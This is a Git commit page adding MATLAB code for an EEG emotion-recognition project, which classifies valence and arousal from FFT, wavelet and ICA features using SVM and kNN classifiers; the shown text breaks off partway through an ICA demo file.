Esse commit está contido em:
Muhammad Nadzeri Munawar
2016-02-15 03:35:56 +07:00
commit f7b93d844e
96 arquivos alterados com 5261 adições e 0 exclusões
+11
Ver Arquivo
@@ -0,0 +1,11 @@
function [jmlBenar,rata_rata,tp,tn,fp,fn] = doAccuracy(method,class,method_classification)
project_path = strcat(pwd,'\..\..');
% method='ica_swt';%'ica_fft','swt','ica_swt';
% class='valence';%'valence';
% method_classification='svm';%'svm';
datasets = saveDatasets(project_path,method,class);
label = separateClass(project_path,method,class);
[datasets,label] = getTwoClass(datasets,label);
[jmlBenar,rata_rata,tp,tn,fp,fn] = findAccuracy(datasets,label,method_classification);
end
@@ -0,0 +1,46 @@
function [jmlBenar,rata_rata,tp,tn,fp,fn] = findAccuracy(datasets,label,method)
jmlData = length(label);
%jmlTest = 20;
tp = 0;
fn = 0;
fp = 0;
tn = 0;
indices = crossvalind('Kfold',jmlData,10);
for h = 1:10
test = (indices == h); train = ~test;
jmlTest = sum(test);
TrainingSet=datasets(train,:);
TestSet=datasets(test,:);
GroupTrain=label(train);
dataAsli = label(test);
if strcmp(method,'svm')
svmStruct = svmtrain(TrainingSet,GroupTrain,'kernel_function','rbf');
results = svmclassify(svmStruct,TestSet);
elseif strcmp(method,'knn')
results = kNN(TrainingSet, GroupTrain, TestSet, 3);
end
jmlBenar(h) = 0;
for i = 1:jmlTest
if(dataAsli(i)==results(i))
if dataAsli(i)==3
tp=tp+1;
else
tn=tn+1;
end
jmlBenar(h)=jmlBenar(h)+1;
else
if results(i)==3
fp=fp+1;
else
fn=fn+1;
end
end
end
jmlBenar(h) = jmlBenar(h)/jmlTest;
end
rata_rata = mean2(jmlBenar);
end
@@ -0,0 +1,3 @@
function Datasets = getDatasets(project_path,method,class)
Datasets = csvread(strcat(project_path,'\Metadata\datasets_',method,'_',class,'.csv'));
end
@@ -0,0 +1,3 @@
function Datasets = getDatasetsPrediction(project_path,method,class)
Datasets = csvread(strcat(project_path,'\Metadata\datasets_',method,'_',class,'.csv'));
end
@@ -0,0 +1,34 @@
function [valence,arousal] = getPrediction(file_path,preprocessing_method,classification_method)
%%%%%%%%%%%%%%
%file_path = 'D:\5112100136 - Muhammad Nadzeri Munawar\TUGAS AKHIR\Datasets\EEG\S04\S04-T13-10.11.15.11.40.03.csv';
project_path = strcat(pwd,'\..\..');
%preprocessing_method='fft';%'ica_fft','swt','ica_swt';
%classification_method='knn';
channel_v = [10,3,14,5,1,8,6,4,7,11];
fb_v = [3,4,5];
features_v = [2,3];
channel_a = [3,13,10,2,1,12,4,7,8,11];
fb_a = [3,4,5];
features_a = [2,3];
%%%%%%%%%%%%%%%
addpath(genpath('..\Process Data'));
addpath(genpath('..\Preprocessing'));
raw_data = cutDataPredict(file_path);
preprocessing_result_v = preProcessingPredict(raw_data,preprocessing_method,channel_v,fb_v,features_v);
preprocessing_result_a = preProcessingPredict(raw_data,preprocessing_method,channel_a,fb_a,features_a);
% Find Valence
datasets = getDatasetsPrediction(project_path,preprocessing_method,'valence');
label = separateClassPrediction(project_path,preprocessing_method,'valence');
[datasets,label] = getTwoClass(datasets,label);
valence = predictClassification(preprocessing_result_v,datasets,label,classification_method);
% Find Arousal
datasets = getDatasetsPrediction(project_path,preprocessing_method,'arousal');
label = separateClassPrediction(project_path,preprocessing_method,'arousal');
[datasets,label] = getTwoClass(datasets,label);
arousal = predictClassification(preprocessing_result_a,datasets,label,classification_method);
end
@@ -0,0 +1,5 @@
function [datasets,label] = getTwoClass(datasets,label)
idx = (label(:)~=2);
label = label(idx);
datasets = datasets(idx,:);
end
+30
Ver Arquivo
@@ -0,0 +1,30 @@
function [results] = kNN(TrainingSet,GroupTrain,TestSet,k)
[L,L1] = size(TestSet);
results = zeros(L);
for i = 1:L
[L2,L3] = size(TrainingSet);
data_distance = zeros(L2);
for j = 1:L2
p = TrainingSet(j,:);
q = TestSet(i,:);
data_distance (j) = sum(abs(p-q)./(abs(p) + abs(q)));
end
[B,I] = sort(data_distance);
nearest = GroupTrain(I(1:k));
nearest_distance = B(1:k);
sse = nearest_distance(1)/nearest_distance(2);
% disp(sse);
% disp(nearest);
if sse<=0.97
results(i)=nearest(1);
else
results(i)=mode(nearest);
end
%results(i)=mode(nearest);
end
end
@@ -0,0 +1,12 @@
function kelas = predictClassification(feature,datasets,label,method)
TrainingSet=datasets;
TestSet=feature;
GroupTrain=label;
if strcmp(method,'svm')
svmStruct = svmtrain(TrainingSet,GroupTrain);
kelas = svmclassify(svmStruct,TestSet);
elseif strcmp(method,'knn')
kelas = kNN(TrainingSet, GroupTrain, TestSet, 3);
end
end
@@ -0,0 +1,33 @@
function Datasets = saveDatasets(project_path,method,class)
if strcmp(method,'fft')
basePath = strcat(project_path,'\FFT_EEG_',upper(class),'\');
elseif strcmp(method,'swt')
basePath = strcat(project_path,'\SWT_EEG_',upper(class),'\');
elseif strcmp(method,'ica_fft')
basePath = strcat(project_path,'\ICA_FFT_EEG_',upper(class),'\');
elseif strcmp(method,'ica_swt')
basePath = strcat(project_path,'\ICA_SWT_EEG_',upper(class),'\');
end
all_files = dir(basePath);
all_files = all_files(3:end);
all_dir = all_files([all_files(:).isdir]);
subject = numel(all_dir);
counterDatasets = 1;
for h=1:subject
directory = sprintf('S%02d',h);
allList = dir( strcat(basePath,directory ));
allFiles = { allList(3:end).name };
trial = length(allFiles);
for i = 1:trial
rawData = csvread(strcat(basePath,directory,'\T',num2str(i),'.csv'));
Datasets(counterDatasets,:) = rawData;
counterDatasets=counterDatasets+1;
end
end
csvwrite(strcat(project_path,'\Metadata\datasets_',method,'_',class,'.csv'),Datasets);
end
@@ -0,0 +1,14 @@
function label = separateClass(project_path,method,class)
kelas = csvread(strcat(project_path,'\Metadata\kelas_',method,'_',class,'.csv'));
for i = 1:length(kelas)
if(kelas(i)<=4)
label(i) = 1;
elseif (kelas(i)>=6)
label(i) = 3;
else
label(i) = 2;
end
end
end
@@ -0,0 +1,14 @@
function label = separateClassPrediction(project_path,method,class)
kelas = csvread(strcat(project_path,'\Metadata\kelas_',method,'_',class,'.csv'));
for i = 1:length(kelas)
if(kelas(i)<=4)
label(i) = 1;
elseif (kelas(i)>=6)
label(i) = 3;
else
label(i) = 2;
end
end
end
+6
Ver Arquivo
@@ -0,0 +1,6 @@
function createFolder(total_folder,path)
mkdir(path);
for i = 1:total_folder
mkdir(strcat(path,'\',sprintf('S%02d',i)));
end
end
+210
Ver Arquivo
@@ -0,0 +1,210 @@
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%Author : Muhammad Nadzeri Munawar
%
%
%This code is to create absolute_power variable of subject no. 20 such as :
%delta, theta, alpha, beta, gamma with shape 32x5x40. 32 mean total of
%channel, 5 mean total absolute power, 40 mean 40 trial
%
% project_path -> 'D:\TUGAS AKHIR\Progress\24. (08-12-2015)'
% method -> fft;ica_fft
% subject -> [2,4,6,7,8,9,10,13,15,16,21,25,26,28,29,30];
% channel -> [2,3,4,5,6,7,8,14];
% fb -> 1.Delta;2.Theta;3.Alpha;4.Beta;5.Gamma
% features -> 1. Min;2.Max;3.Std;4.Avg;5.Pow;6.Energy
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
function computeFFT(project_path,method,class,subject,channel,fb,features)
addpath(genpath('..\Global Code'));
%define variable
if strcmp(method,'fft')
basePath = strcat(project_path,'\USED_EEG\');
destination = strcat(project_path,'\FFT_EEG_',upper(class));
elseif strcmp(method,'ica_fft')
basePath = strcat(project_path,'\ICA_EEG\');
destination = strcat(project_path,'\ICA_FFT_EEG_',upper(class));
end
kuesioner = csvread(strcat(project_path,'\Metadata\newDataKuesioner.csv'));
kuesioner = transpose(kuesioner);
samplingFrequency=128;
counter =1;
start = 1;
stop = 0;
kelas = [];
if strcmp(class,'valence')
kuesioner = kuesioner(1,:);
elseif strcmp(class,'arousal')
kuesioner = kuesioner(2,:);
end
if exist(destination, 'dir')
system(strcat('rmdir /S /Q "',destination,'"'));
end
createFolder(length(subject),destination);
all_files = dir(basePath);
all_files = all_files(3:end);
all_dir = all_files([all_files(:).isdir]);
total_subject = numel(all_dir);
for h=1:total_subject
directory = sprintf('S%02d',h);
direc = sprintf('S%02d',counter);
allList = dir( strcat(basePath,directory ));
allFiles = { allList(3:end).name };
trial = length(allFiles);
if h>1
start = stop + 1;
end
stop = start + trial - 1;
if ismember(h,subject)==0
continue;
end
kelas = horzcat(kelas,kuesioner(start:stop));
for i = 1:trial
rawData = csvread(strcat(basePath,directory,'\T',num2str(i),'.csv'));
data = [];
for j = channel
X = rawData(j,:);
Fs = samplingFrequency; % Sampling frequency
L = length(X); % Length of signal
%compute fft from channel
Y = fft(X);
%Divide fft to get frequency
P2 = abs(Y/L);
P1 = P2(1:L/2+1);
P1(2:end-1) = 2*P1(2:end-1);
%divide froquency to get delta, theta, alpha, beta, gamma
%And average all of each range (delta, theta, alpha, beta, gamma)
delta = P1(L*1/Fs:L*4/Fs);
theta = P1(L*4/Fs:L*8/Fs);
alpha = P1(L*8/Fs:L*13/Fs);
beta = P1(L*13/Fs:L*30/Fs);
gamma = P1(L*30/Fs:L*50/Fs);
data_feature = [];
if ismember(1,fb)
if ismember(1,features)
data_feature = [data_feature,min(delta)];
end
if ismember(2,features)
data_feature = [data_feature,max(delta)];
end
if ismember(3,features)
data_feature = [data_feature,std(delta)];
end
if ismember(4,features)
data_feature = [data_feature,mean(delta)];
end
if ismember(5,features)
data_feature = [data_feature,mean(delta.^2)];
end
if ismember(6,features)
data_feature = [data_feature,sum(delta.^2)];
end
end
if ismember(2,fb)
if ismember(1,features)
data_feature = [data_feature,min(theta)];
end
if ismember(2,features)
data_feature = [data_feature,max(theta)];
end
if ismember(3,features)
data_feature = [data_feature,std(theta)];
end
if ismember(4,features)
data_feature = [data_feature,mean(theta)];
end
if ismember(5,features)
data_feature = [data_feature,mean(theta.^2)];
end
if ismember(6,features)
data_feature = [data_feature,sum(theta.^2)];
end
end
if ismember(3,fb)
if ismember(1,features)
data_feature = [data_feature,min(alpha)];
end
if ismember(2,features)
data_feature = [data_feature,max(alpha)];
end
if ismember(3,features)
data_feature = [data_feature,std(alpha)];
end
if ismember(4,features)
data_feature = [data_feature,mean(alpha)];
end
if ismember(5,features)
data_feature = [data_feature,mean(alpha.^2)];
end
if ismember(6,features)
data_feature = [data_feature,sum(alpha.^2)];
end
end
if ismember(4,fb)
if ismember(1,features)
data_feature = [data_feature,min(beta)];
end
if ismember(2,features)
data_feature = [data_feature,max(beta)];
end
if ismember(3,features)
data_feature = [data_feature,std(beta)];
end
if ismember(4,features)
data_feature = [data_feature,mean(beta)];
end
if ismember(5,features)
data_feature = [data_feature,mean(beta.^2)];
end
if ismember(6,features)
data_feature = [data_feature,sum(beta.^2)];
end
end
if ismember(5,fb)
if ismember(1,features)
data_feature = [data_feature,min(gamma)];
end
if ismember(2,features)
data_feature = [data_feature,max(gamma)];
end
if ismember(3,features)
data_feature = [data_feature,std(gamma)];
end
if ismember(4,features)
data_feature = [data_feature,mean(gamma)];
end
if ismember(5,features)
data_feature = [data_feature,mean(gamma.^2)];
end
if ismember(6,features)
data_feature = [data_feature,sum(gamma.^2)];
end
end
data = horzcat(data,data_feature);
end
csvwrite(strcat(destination,'\',direc,'\T',num2str(i),'.csv'),data);
end
counter=counter+1;
end
if strcmp(method,'fft')
csvwrite(strcat(project_path,'\Metadata\kelas_fft_',class,'.csv'),kelas);
elseif strcmp(method,'ica_fft')
csvwrite(strcat(project_path,'\Metadata\kelas_ica_fft_',class,'.csv'),kelas);
end
end
@@ -0,0 +1,174 @@
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%Author : Muhammad Nadzeri Munawar
%
%
%This code is to create absolute_power variable of subject no. 20 such as :
%delta, theta, alpha, beta, gamma with shape 32x5x40. 32 mean total of
%channel, 5 mean total absolute power, 40 mean 40 trial
%
% project_path -> 'D:\TUGAS AKHIR\Progress\24. (08-12-2015)'
% method -> fft;ica_fft
% subject -> [2,4,6,7,8,9,10,13,15,16,21,25,26,28,29,30];
% channel -> [2,3,4,5,6,7,8,14];
% fb -> 1.Delta;2.Theta;3.Alpha;4.Beta;5.Gamma
% features -> 1. Min;2.Max;3.Std;4.Avg;5.Pow;6.Energy
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
function data = computeFFTPredict(raw_data,preprocessing_method,channel,fb,features)
%define variable
if strcmp(preprocessing_method,'ica_fft')
raw_data = computeICAPredict(raw_data);
end
samplingFrequency=128;
data = [];
counter=1;
for j = channel
X = raw_data(j,:);
Fs = samplingFrequency; % Sampling frequency
L = length(X); % Length of signal
%compute fft from channel
Y = fft(X);
%Divide fft to get frequency
P2 = abs(Y/L);
P1 = P2(1:L/2+1);
P1(2:end-1) = 2*P1(2:end-1);
%divide froquency to get delta, theta, alpha, beta, gamma
%And average all of each range (delta, theta, alpha, beta, gamma)
delta = P1(L*1/Fs:L*4/Fs);
theta = P1(L*4/Fs:L*8/Fs);
alpha = P1(L*8/Fs:L*13/Fs);
beta = P1(L*13/Fs:L*30/Fs);
gamma = P1(L*30/Fs:L*50/Fs);
if counter==1
set(gcf,'Visible','off');
plot(delta);
print -dpng '../../Web App/img/fft/delta.png';
set(gcf,'Visible','off');
plot(theta);
print -dpng '../../Web App/img/fft/theta.png';
set(gcf,'Visible','off');
plot(alpha);
print -dpng '../../Web App/img/fft/alpha.png';
set(gcf,'Visible','off');
plot(beta);
print -dpng '../../Web App/img/fft/beta.png';
set(gcf,'Visible','off');
plot(gamma);
print -dpng '../../Web App/img/fft/gamma.png';
end
counter = 2;
data_feature = [];
if ismember(1,fb)
if ismember(1,features)
data_feature = [data_feature,min(delta)];
end
if ismember(2,features)
data_feature = [data_feature,max(delta)];
end
if ismember(3,features)
data_feature = [data_feature,std(delta)];
end
if ismember(4,features)
data_feature = [data_feature,mean(delta)];
end
if ismember(5,features)
data_feature = [data_feature,mean(delta.^2)];
end
if ismember(6,features)
data_feature = [data_feature,sum(delta.^2)];
end
end
if ismember(2,fb)
if ismember(1,features)
data_feature = [data_feature,min(theta)];
end
if ismember(2,features)
data_feature = [data_feature,max(theta)];
end
if ismember(3,features)
data_feature = [data_feature,std(theta)];
end
if ismember(4,features)
data_feature = [data_feature,mean(theta)];
end
if ismember(5,features)
data_feature = [data_feature,mean(theta.^2)];
end
if ismember(6,features)
data_feature = [data_feature,sum(theta.^2)];
end
end
if ismember(3,fb)
if ismember(1,features)
data_feature = [data_feature,min(alpha)];
end
if ismember(2,features)
data_feature = [data_feature,max(alpha)];
end
if ismember(3,features)
data_feature = [data_feature,std(alpha)];
end
if ismember(4,features)
data_feature = [data_feature,mean(alpha)];
end
if ismember(5,features)
data_feature = [data_feature,mean(alpha.^2)];
end
if ismember(6,features)
data_feature = [data_feature,sum(alpha.^2)];
end
end
if ismember(4,fb)
if ismember(1,features)
data_feature = [data_feature,min(beta)];
end
if ismember(2,features)
data_feature = [data_feature,max(beta)];
end
if ismember(3,features)
data_feature = [data_feature,std(beta)];
end
if ismember(4,features)
data_feature = [data_feature,mean(beta)];
end
if ismember(5,features)
data_feature = [data_feature,mean(beta.^2)];
end
if ismember(6,features)
data_feature = [data_feature,sum(beta.^2)];
end
end
if ismember(5,fb)
if ismember(1,features)
data_feature = [data_feature,min(gamma)];
end
if ismember(2,features)
data_feature = [data_feature,max(gamma)];
end
if ismember(3,features)
data_feature = [data_feature,std(gamma)];
end
if ismember(4,features)
data_feature = [data_feature,mean(gamma)];
end
if ismember(5,features)
data_feature = [data_feature,mean(gamma.^2)];
end
if ismember(6,features)
data_feature = [data_feature,sum(gamma.^2)];
end
end
data = horzcat(data,data_feature);
end
end
+39
Ver Arquivo
@@ -0,0 +1,39 @@
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%Author : Muhammad Nadzeri Munawar
%
%
%This code is to create absolute_power variable of subject no. 20 such as :
%delta, theta, alpha, beta, gamma with shape 32x5x40. 32 mean total of
%channel, 5 mean total absolute power, 40 mean 40 trial
%
% project_path -> 'D:\TUGAS AKHIR\Progress\24. (08-12-2015)'
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
function computeICA(project_path)
addpath(genpath('pca_ica'));
addpath(genpath('..\Global Code'));
basePath = strcat(project_path,'\USED_EEG\');
all_files = dir(basePath);
all_files = all_files(3:end);
all_dir = all_files([all_files(:).isdir]);
subject = numel(all_dir);
if exist(strcat(project_path,'\ICA_EEG'), 'dir')
system(strcat('rmdir /S /Q "',project_path,'\ICA_EEG"'));
end
createFolder(subject,strcat(project_path,'\ICA_EEG'));
for h=1:subject
directory = sprintf('S%02d',h);
allList = dir( strcat(basePath,directory ));
allFiles = { allList(3:end).name };
trial = length(allFiles);
for i = 1:trial
rawData = csvread(strcat(basePath,directory,'\T',num2str(i),'.csv'));
rawData = myICA(rawData,14);
csvwrite(strcat(project_path,'\ICA_EEG\',directory,'\T',num2str(i),'.csv'),rawData);
end
end
end
@@ -0,0 +1,24 @@
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%Author : Muhammad Nadzeri Munawar
%
%
%This code is to create absolute_power variable of subject no. 20 such as :
%delta, theta, alpha, beta, gamma with shape 32x5x40. 32 mean total of
%channel, 5 mean total absolute power, 40 mean 40 trial
%
% project_path -> 'D:\TUGAS AKHIR\Progress\24. (08-12-2015)'
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
function ica_data = computeICAPredict(raw_data)
addpath(genpath('pca_ica'));
ica_data = myICA(raw_data,14);
for i=1:14
path = strcat('../../Web App/img/ica/',num2str(i),'.png');
set(gcf,'Visible','off');
plot(ica_data(i,:));
print(path,'-dpng');
end
end
+195
Ver Arquivo
@@ -0,0 +1,195 @@
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%Author : Muhammad Nadzeri Munawar
%
%
%This code is to create absolute_power variable of subject no. 20 such as :
%delta, theta, alpha, beta, gamma with shape 32x5x40. 32 mean total of
%channel, 5 mean total absolute power, 40 mean 40 trial
%
% project_path -> 'D:\TUGAS AKHIR\Progress\24. (08-12-2015)'
% method -> swt;ica_swt
% subject -> [2,4,6,7,8,9,10,13,15,16,21,25,26,28,29,30];
% channel -> [2,3,4,5,6,7,8,14];
% fb -> 1.A5;2.D5;3.D4;4.D3;5.D2
% features -> 1. Min;2.Max;3.Std;4.Avg;5.Pow;6.Energy
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
function computeSWT(project_path,method,class,subject,channel,fb,features)
addpath(genpath('..\Global Code'));
%define variable
if strcmp(method,'swt')
basePath = strcat(project_path,'\USED_EEG\');
destination = strcat(project_path,'\SWT_EEG_',upper(class));
elseif strcmp(method,'ica_swt')
basePath = strcat(project_path,'\ICA_EEG\');
destination = strcat(project_path,'\ICA_SWT_EEG_',upper(class));
end
kuesioner = csvread(strcat(project_path,'\Metadata\newDataKuesioner.csv'));
kuesioner = transpose(kuesioner);
samplingFrequency=128;
counter =1;
start = 1;
stop = 0;
kelas = [];
if strcmp(class,'valence')
kuesioner = kuesioner(1,:);
elseif strcmp(class,'arousal')
kuesioner = kuesioner(2,:);
end
if exist(destination, 'dir')
system(strcat('rmdir /S /Q "',destination,'"'));
end
createFolder(length(subject),destination);
all_files = dir(basePath);
all_files = all_files(3:end);
all_dir = all_files([all_files(:).isdir]);
totalSubject = numel(all_dir);
for h=1:totalSubject
directory = sprintf('S%02d',h);
direc = sprintf('S%02d',counter);
allList = dir( strcat(basePath,directory ));
allFiles = { allList(3:end).name };
trial = length(allFiles);
if h>1
start = stop + 1;
end
stop = start + trial - 1;
if ismember(h,subject)==0
continue;
end
kelas = horzcat(kelas,kuesioner(start:stop));
for i = 1:trial
rawData = csvread(strcat(basePath,directory,'\T',num2str(i),'.csv'));
data = [];
for j = channel
[swa,swd] = swt(rawData(j,:),5,'db4');
d2=swd(2,:);
d3=swd(3,:);
d4=swd(4,:);
d5=swd(5,:);
a5=swa(5,:);
data_feature = [];
if ismember(1,fb)
if ismember(1,features)
data_feature = [data_feature,min(a5)];
end
if ismember(2,features)
data_feature = [data_feature,max(a5)];
end
if ismember(3,features)
data_feature = [data_feature,std(a5)];
end
if ismember(4,features)
data_feature = [data_feature,mean(a5)];
end
if ismember(5,features)
data_feature = [data_feature,mean(a5.^2)];
end
if ismember(6,features)
data_feature = [data_feature,sum(a5.^2)];
end
end
if ismember(2,fb)
if ismember(1,features)
data_feature = [data_feature,min(d5)];
end
if ismember(2,features)
data_feature = [data_feature,max(d5)];
end
if ismember(3,features)
data_feature = [data_feature,std(d5)];
end
if ismember(4,features)
data_feature = [data_feature,mean(d5)];
end
if ismember(5,features)
data_feature = [data_feature,mean(d5.^2)];
end
if ismember(6,features)
data_feature = [data_feature,sum(d5.^2)];
end
end
if ismember(3,fb)
if ismember(1,features)
data_feature = [data_feature,min(d4)];
end
if ismember(2,features)
data_feature = [data_feature,max(d4)];
end
if ismember(3,features)
data_feature = [data_feature,std(d4)];
end
if ismember(4,features)
data_feature = [data_feature,mean(d4)];
end
if ismember(5,features)
data_feature = [data_feature,mean(d4.^2)];
end
if ismember(6,features)
data_feature = [data_feature,sum(d4.^2)];
end
end
if ismember(4,fb)
if ismember(1,features)
data_feature = [data_feature,min(d3)];
end
if ismember(2,features)
data_feature = [data_feature,max(d3)];
end
if ismember(3,features)
data_feature = [data_feature,std(d3)];
end
if ismember(4,features)
data_feature = [data_feature,mean(d3)];
end
if ismember(5,features)
data_feature = [data_feature,mean(d3.^2)];
end
if ismember(6,features)
data_feature = [data_feature,sum(d3.^2)];
end
end
if ismember(5,fb)
if ismember(1,features)
data_feature = [data_feature,min(d2)];
end
if ismember(2,features)
data_feature = [data_feature,max(d2)];
end
if ismember(3,features)
data_feature = [data_feature,std(d2)];
end
if ismember(4,features)
data_feature = [data_feature,mean(d2)];
end
if ismember(5,features)
data_feature = [data_feature,mean(d2.^2)];
end
if ismember(6,features)
data_feature = [data_feature,sum(d2.^2)];
end
end
data = horzcat(data,data_feature);
end
csvwrite(strcat(destination,'\',direc,'\T',num2str(i),'.csv'),data);
end
counter=counter+1;
end
if strcmp(method,'swt')
csvwrite(strcat(project_path,'\Metadata\kelas_swt_',class,'.csv'),kelas);
elseif strcmp(method,'ica_swt')
csvwrite(strcat(project_path,'\Metadata\kelas_ica_swt_',class,'.csv'),kelas);
end
end
@@ -0,0 +1,161 @@
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%Author : Muhammad Nadzeri Munawar
%
%
%This code is to create absolute_power variable of subject no. 20 such as :
%delta, theta, alpha, beta, gamma with shape 32x5x40. 32 mean total of
%channel, 5 mean total absolute power, 40 mean 40 trial
%
% project_path -> 'D:\TUGAS AKHIR\Progress\24. (08-12-2015)'
% method -> swt;ica_swt
% subject -> [2,4,6,7,8,9,10,13,15,16,21,25,26,28,29,30];
% channel -> [2,3,4,5,6,7,8,14];
% fb -> 1.A5;2.D5;3.D4;4.D3;5.D2
% features -> 1. Min;2.Max;3.Std;4.Avg;5.Pow;6.Energy
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
function data = computeSWTPredict(raw_data,preprocessing_method,channel,fb,features)
%define variable
if strcmp(preprocessing_method,'ica_swt')
raw_data = computeICAPredict(raw_data);
end
counter=1;
data=[];
for j = channel
[swa,swd] = swt(raw_data(j,:),5,'db4');
d2=swd(2,:);
d3=swd(3,:);
d4=swd(4,:);
d5=swd(5,:);
a5=swa(5,:);
if counter==1
set(gcf,'Visible','off');
plot(a5);
print -dpng '../../Web App/img/swt/a5.png';
set(gcf,'Visible','off');
plot(d5);
print -dpng '../../Web App/img/swt/d5.png';
set(gcf,'Visible','off');
plot(d4);
print -dpng '../../Web App/img/swt/d4.png';
set(gcf,'Visible','off');
plot(d3);
print -dpng '../../Web App/img/swt/d3.png';
set(gcf,'Visible','off');
plot(d2);
print -dpng '../../Web App/img/swt/d2.png';
end
counter=2;
data_feature = [];
if ismember(1,fb)
if ismember(1,features)
data_feature = [data_feature,min(a5)];
end
if ismember(2,features)
data_feature = [data_feature,max(a5)];
end
if ismember(3,features)
data_feature = [data_feature,std(a5)];
end
if ismember(4,features)
data_feature = [data_feature,mean(a5)];
end
if ismember(5,features)
data_feature = [data_feature,mean(a5.^2)];
end
if ismember(6,features)
data_feature = [data_feature,sum(a5.^2)];
end
end
if ismember(2,fb)
if ismember(1,features)
data_feature = [data_feature,min(d5)];
end
if ismember(2,features)
data_feature = [data_feature,max(d5)];
end
if ismember(3,features)
data_feature = [data_feature,std(d5)];
end
if ismember(4,features)
data_feature = [data_feature,mean(d5)];
end
if ismember(5,features)
data_feature = [data_feature,mean(d5.^2)];
end
if ismember(6,features)
data_feature = [data_feature,sum(d5.^2)];
end
end
if ismember(3,fb)
if ismember(1,features)
data_feature = [data_feature,min(d4)];
end
if ismember(2,features)
data_feature = [data_feature,max(d4)];
end
if ismember(3,features)
data_feature = [data_feature,std(d4)];
end
if ismember(4,features)
data_feature = [data_feature,mean(d4)];
end
if ismember(5,features)
data_feature = [data_feature,mean(d4.^2)];
end
if ismember(6,features)
data_feature = [data_feature,sum(d4.^2)];
end
end
if ismember(4,fb)
if ismember(1,features)
data_feature = [data_feature,min(d3)];
end
if ismember(2,features)
data_feature = [data_feature,max(d3)];
end
if ismember(3,features)
data_feature = [data_feature,std(d3)];
end
if ismember(4,features)
data_feature = [data_feature,mean(d3)];
end
if ismember(5,features)
data_feature = [data_feature,mean(d3.^2)];
end
if ismember(6,features)
data_feature = [data_feature,sum(d3.^2)];
end
end
if ismember(5,fb)
if ismember(1,features)
data_feature = [data_feature,min(d2)];
end
if ismember(2,features)
data_feature = [data_feature,max(d2)];
end
if ismember(3,features)
data_feature = [data_feature,std(d2)];
end
if ismember(4,features)
data_feature = [data_feature,mean(d2)];
end
if ismember(5,features)
data_feature = [data_feature,mean(d2.^2)];
end
if ismember(6,features)
data_feature = [data_feature,sum(d2.^2)];
end
end
data = horzcat(data,data_feature);
end
end
+9
Ver Arquivo
@@ -0,0 +1,9 @@
function [xFFT] = ownFFT(X)
X = double(X);
N = length(X);
n = 0:N-1;
k = n';
M = exp(-2j*pi*k*n/N);
%disp(M);
xFFT = (M*X')';
end
+55
Ver Arquivo
@@ -0,0 +1,55 @@
function [xICA] = ownFastICA(X,r)
%%%%%%%%%% Initial Variable %%%%%%%%%%
eps = 1e-6; % Convergence criteria
maxIters = inf; % Maximum # iterations
normRows = @(XXX) bsxfun(@times,XXX,1 ./ sqrt(sum(XXX.^2,2))); %Normalisasi Euclidean
%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%% Centering %%%%%%%%%%
% Compute sample mean
meanEachRow = mean(X,2);
% Subtract mean
resultCentering = bsxfun(@minus,X,meanEachRow); %Binary singleton expansion function
%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%% Whitening %%%%%%%%%%
% Compute sample covariance
covMatrix = cov(resultCentering');
% Whiten data
[E,D,~] = svd(covMatrix,'econ'); %Singular Value Decomposition (E->EigenVector;D->EigenValue)
resultWhitening = E * diag(1 ./ sqrt(diag(D))) * E' * resultCentering; %Main Whitening
%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%% Component Extraction %%%%%%%%%%
% Random initial weights
W = normRows(rand(r,size(resultWhitening,1)));
%W = rand(r,size(resultWhitening,1));
% Initial looping variable
k = 0;
err = inf;
% Looping until convergen or until maxiter
while (err > eps) && (k < maxIters)
% Increment counter
k = k + 1;
% Update weights
wLast = W; % Save last weights
Sk = permute(wLast * resultWhitening,[1 3 2]);
G = Sk .* exp(-0.5 * Sk.^2);
Gp = Sk .* G;
W = mean(bsxfun(@times,G,permute(resultWhitening,[3 1 2])),3) + bsxfun(@times,mean(Gp,3),wLast);
W = normRows(W);
% Decorrelate weights
[U,S,~] = svd(W,'econ');
W = U * diag(1 ./ diag(S)) * U' * W;
% Update error
err = max(1 - dot(W,wLast,2));
end
%%%%%%%%%%%%%%%%%%%%%%%%%%%%
xICA = W * resultWhitening;
xICA = normRows(xICA);
end
+33
Ver Arquivo
@@ -0,0 +1,33 @@
function [swa,swd] = ownSWT(A,level,wname)
[h,g]=wfilters(wname,'r');
wLength = length(h)/2-1;
L = size(A,2);
for i=1:level
shift = 2^(i-1);
start = L-(shift*wLength)+1;
if(i==1)
decompose = A;
else
decompose = swa(i-1,:);
end
for j=1:L
swa(i,j)=0;
swd(i,j)=0;
shiftIdx=start;
for k=1:length(h)
swa(i,j)=swa(i,j)+decompose(shiftIdx)*h(k);
swd(i,j)=swd(i,j)+decompose(shiftIdx)*g(k);
shiftIdx=shiftIdx+shift;
if(shiftIdx>L)
shiftIdx=shiftIdx-L;
end
end
start=start+1;
if(start>L)
start=start-L;
end
end
end
end
@@ -0,0 +1,59 @@
%
% Name: demo_ICA.m
%
% Description: Demonstrates the performance of ICA by decomposing
% correlated multivariate Gaussian samples into
% uncorrelated and maximally independent data streams
%
% When d == r, the ICA reconstruction is *exact*. Thus
% ICA effectively transforms the input data into
% uncorrelated, independent components while preserving
% information
%
% Author: Brian Moore
% brimoor@umich.edu
%
% Date: April 26, 2015
%
rng(1);
% Knobs
n = 100; % # samples
d = 3; % Sample dimension
r = 2; % # independent components
% Generate Gaussian data
MU = 10 * rand(d,1);
sigma = (2 * randi([0 1],d) - 1) .* rand(d);
SIGMA = 3 * (sigma * sigma');
Z = myMultiGaussian(MU,SIGMA,n);
% Perform ICA
[Zica A T mu] = myICA(Z,r);
Zr = T \ pinv(A) * Zica + repmat(mu,1,n);
% Plot indpendent components
figure;
for i = 1:r
subplot(r,1,i);
plot(Zica(i,:),'b');
grid on;
